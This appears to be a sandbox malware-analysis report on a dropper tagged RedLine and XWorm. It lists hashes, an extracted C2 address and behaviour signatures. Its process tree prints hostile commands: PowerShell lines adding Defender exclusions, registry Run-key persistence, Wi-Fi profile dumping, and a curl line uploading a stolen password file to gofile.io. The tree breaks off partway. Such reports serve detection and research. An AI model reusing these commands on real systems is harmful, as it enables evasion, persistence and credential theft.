Overview

overview

10

Static

static

3

4363463463...63.exe

windows7-x64

10

4363463463...63.exe

windows10-2004-x64

10

New Text D...od.exe

windows7-x64

10

New Text D...od.exe

windows10-2004-x64

10

New Text D...od.exe

windows7-x64

10

New Text D...od.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    141s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-12-2024 13:28

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    New Text Document mod.exe

  • Size

    8KB

  • MD5

    69994ff2f00eeca9335ccd502198e05b

  • SHA1

    b13a15a5bea65b711b835ce8eccd2a699a99cead

  • SHA256

    2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2

  • SHA512

    ced53147894ed2dfc980bcb50767d9734ba8021f85842a53bb4bb4c502d51b4e9884f5f74c4dd2b70b53cafbe2441376675f7bd0f19bb20a3becb091a34fb9f3

  • SSDEEP

    96:y7ov9wc1dN1Unh3EHJ40CUJCrQt0LpCBIW12nEtgpH9GIkQYQoBNw9fnmK5iLjTv:yZyTFJfCB20LsBIW12n/eIkQ2BNg5S1

Score
10/10
redlinexwormcollectioncredential_accessdefense_evasiondiscoveryexecutioninfostealerpersistenceprivilege_escalationpyinstallerratspywarestealertrojanupx

Malware Config

Extracted

Family

xworm

Version

5.0

C2

45.141.26.234:7000

Mutex

2XLzSYLZvUJjDK3V

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    Java Update (32bit).exe

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 2 IoCs
  • Redline family
    redline
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file
  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Drops startup file 2 IoCs
  • Executes dropped EXE 31 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 43 IoCs
  • Looks up external IP address via web service 10 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 5 IoCs
    discovery
  • Suspicious use of SetThreadContext 9 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 5 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 29 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 8 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 2 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs
    evasion

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3416
    • C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
      "C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
      2⤵
      • Checks computer location settings
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1732
      • C:\Users\Admin\AppData\Local\Temp\a\TPB-1.exe
        "C:\Users\Admin\AppData\Local\Temp\a\TPB-1.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4684
      • C:\Users\Admin\AppData\Local\Temp\a\TestExe.exe
        "C:\Users\Admin\AppData\Local\Temp\a\TestExe.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2212
      • C:\Users\Admin\AppData\Local\Temp\a\x.exe
        "C:\Users\Admin\AppData\Local\Temp\a\x.exe"
        3⤵
        • Checks computer location settings
        • Drops startup file
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1292
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\x.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4656
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'x.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2272
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Java Update (32bit).exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:964
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java Update (32bit).exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2616
      • C:\Users\Admin\AppData\Local\Temp\a\PDFReader.exe
        "C:\Users\Admin\AppData\Local\Temp\a\PDFReader.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2080
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2096
      • C:\Users\Admin\AppData\Local\Temp\a\FINAL_PDF.exe
        "C:\Users\Admin\AppData\Local\Temp\a\FINAL_PDF.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5080
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Documents\OUCH_SOKHENG.pdf"
          4⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          PID:5336
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
            5⤵
            • System Location Discovery: System Language Discovery
            PID:7076
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=D6621266DD66DC613D541726705F0C63 --mojo-platform-channel-handle=1760 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
              6⤵
              • System Location Discovery: System Language Discovery
              PID:5844
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=2DB81BB4C455689FD8285B420365541E --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=2DB81BB4C455689FD8285B420365541E --renderer-client-id=2 --mojo-platform-channel-handle=1768 --allow-no-sandbox-job /prefetch:1
              6⤵
              • System Location Discovery: System Language Discovery
              PID:5004
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=643B4DC62070CEC1E65387DBE9EEDA30 --mojo-platform-channel-handle=2300 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
              6⤵
              • System Location Discovery: System Language Discovery
              PID:5568
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=D86DCB6E9C32238F1A05631C1C57311E --mojo-platform-channel-handle=1948 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
              6⤵
              • System Location Discovery: System Language Discovery
              PID:6720
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=E0684408DE6EE54EE10D1BDCD89B3714 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=E0684408DE6EE54EE10D1BDCD89B3714 --renderer-client-id=6 --mojo-platform-channel-handle=1780 --allow-no-sandbox-job /prefetch:1
              6⤵
              • System Location Discovery: System Language Discovery
              PID:6780
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A58AB053F810832B234F6BA747EAFED9 --mojo-platform-channel-handle=2304 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1840
        • C:\Users\Admin\AppData\Local\Temp\a\FINAL_PDF.exe
          "C:\Users\Admin\AppData\Local\Temp\a\FINAL_PDF.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:6708
      • C:\Users\Admin\AppData\Local\Temp\a\cv.exe
        "C:\Users\Admin\AppData\Local\Temp\a\cv.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4664
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Documents\OUCH_SOKHENG.pdf"
          4⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious use of SetWindowsHookEx
          PID:6276
        • C:\Users\Admin\AppData\Local\Temp\a\cv.exe
          "C:\Users\Admin\AppData\Local\Temp\a\cv.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:396
      • C:\Users\Admin\AppData\Local\Temp\a\system32.exe
        "C:\Users\Admin\AppData\Local\Temp\a\system32.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2504
        • C:\Users\Admin\AppData\Local\Temp\a\system32.exe
          "C:\Users\Admin\AppData\Local\Temp\a\system32.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:880
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "ver"
            5⤵
              PID:3828
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1692
              • C:\Windows\System32\wbem\WMIC.exe
                C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4272
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4168
              • C:\Windows\system32\reg.exe
                reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f
                6⤵
                • Modifies registry key
                PID:2864
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1404
              • C:\Windows\system32\reg.exe
                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f
                6⤵
                • Adds Run key to start application
                • Modifies registry key
                PID:3916
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4960
              • C:\Windows\System32\wbem\WMIC.exe
                C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3940
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4412
              • C:\Windows\System32\wbem\WMIC.exe
                C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
                6⤵
                  PID:4280
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
                5⤵
                  PID:1572
                  • C:\Windows\System32\wbem\WMIC.exe
                    C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
                    6⤵
                      PID:4984
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
                    5⤵
                    • System Network Configuration Discovery: Wi-Fi Discovery
                    PID:6472
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show profiles
                      6⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Network Configuration Discovery: Wi-Fi Discovery
                      PID:5772
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
                    5⤵
                    • System Network Configuration Discovery: Wi-Fi Discovery
                    PID:6016
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show profiles
                      6⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Network Configuration Discovery: Wi-Fi Discovery
                      PID:5180
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
                    5⤵
                    • System Network Configuration Discovery: Wi-Fi Discovery
                    PID:5524
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show profiles
                      6⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Network Configuration Discovery: Wi-Fi Discovery
                      PID:6300
              • C:\Users\Admin\AppData\Local\Temp\a\Filezilla.exe
                "C:\Users\Admin\AppData\Local\Temp\a\Filezilla.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4420
                • C:\Users\Admin\AppData\Local\Temp\a\Filezilla.exe
                  "C:\Users\Admin\AppData\Local\Temp\a\Filezilla.exe"
                  4⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:6912
              • C:\Users\Admin\AppData\Local\Temp\a\Filezilla-stage2.exe
                "C:\Users\Admin\AppData\Local\Temp\a\Filezilla-stage2.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:2004
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:7008
              • C:\Users\Admin\AppData\Local\Temp\a\test.exe
                "C:\Users\Admin\AppData\Local\Temp\a\test.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2248
              • C:\Users\Admin\AppData\Local\Temp\a\fcxcx.exe
                "C:\Users\Admin\AppData\Local\Temp\a\fcxcx.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:6084
              • C:\Users\Admin\AppData\Local\Temp\a\Update.exe
                "C:\Users\Admin\AppData\Local\Temp\a\Update.exe"
                3⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of SetThreadContext
                PID:4412
                • C:\Windows\system32\svchost.exe
                  "C:\Windows\system32\svchost.exe"
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:6132
                • C:\Windows\system32\msiexec.exe
                  "C:\Windows\system32\msiexec.exe"
                  4⤵
                  • Adds Run key to start application
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1404
                • C:\Windows\system32\audiodg.exe
                  "C:\Windows\system32\audiodg.exe"
                  4⤵
                  • Adds Run key to start application
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5136
              • C:\Users\Admin\AppData\Local\Temp\a\main.exe
                "C:\Users\Admin\AppData\Local\Temp\a\main.exe"
                3⤵
                • Executes dropped EXE
                PID:5992
                • C:\Users\Admin\AppData\Local\Temp\a\main.exe
                  "C:\Users\Admin\AppData\Local\Temp\a\main.exe"
                  4⤵
                  • Executes dropped EXE
                  PID:5044
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c
                    5⤵
                      PID:6252
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c
                      5⤵
                        PID:6020
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c
                        5⤵
                          PID:5900
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c mode con: cols=125 lines=35
                          5⤵
                            PID:4248
                            • C:\Windows\system32\mode.com
                              mode con: cols=125 lines=35
                              6⤵
                                PID:5532
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c cls
                              5⤵
                                PID:6540
                              • C:\Windows\System32\wbem\WMIC.exe
                                C:\Windows\System32\wbem\WMIC.exe csproduct get UUID
                                5⤵
                                  PID:6328
                            • C:\Users\Admin\AppData\Local\Temp\a\tmp.exe
                              "C:\Users\Admin\AppData\Local\Temp\a\tmp.exe"
                              3⤵
                              • Executes dropped EXE
                              PID:1148
                            • C:\Users\Admin\AppData\Local\Temp\a\shost.exe
                              "C:\Users\Admin\AppData\Local\Temp\a\shost.exe"
                              3⤵
                              • Executes dropped EXE
                              PID:2072
                              • C:\Users\Admin\AppData\Local\Temp\a\shost.exe
                                "C:\Users\Admin\AppData\Local\Temp\a\shost.exe"
                                4⤵
                                • Executes dropped EXE
                                PID:2244
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"
                                  5⤵
                                    PID:396
                                    • C:\Windows\system32\taskkill.exe
                                      taskkill /im firefox.exe /t /f
                                      6⤵
                                      • Kills process with taskkill
                                      PID:6156
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile"
                                    5⤵
                                      PID:3388
                                      • C:\Windows\system32\curl.exe
                                        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile
                                        6⤵
                                          PID:4408
                                      • C:\Windows\system32\cmd.exe
